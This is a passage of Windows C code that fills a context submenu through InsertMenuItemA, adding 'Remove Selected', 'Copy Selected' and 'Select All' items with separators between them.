MENU_SAVE_SEL; InsertMenuItemA( g_hMenuSub_context, 0, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( g_hMenuSub_context, 1, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "Remove Selected"; mii.cch = 15; mii.wID = MENU_REMOVE_SEL; InsertMenuItemA( g_hMenuSub_context, 2, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( g_hMenuSub_context, 3, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "Copy Selected"; mii.cch = 13; mii.wID = MENU_COPY_SEL; InsertMenuItemA( g_hMenuSub_context, 4, TRUE, &mii ); mii.fType = MFT_SEPARATOR; InsertMenuItemA( g_hMenuSub_context, 5, TRUE, &mii ); mii.fType = MFT_STRING; mii.dwTypeData = "Select All"; mii.cch = 10; mii.wID = MENU_SELECT_ALL; InsertMenuItemA( g_hMenuSub_context, 6, TRUE, &mii ); }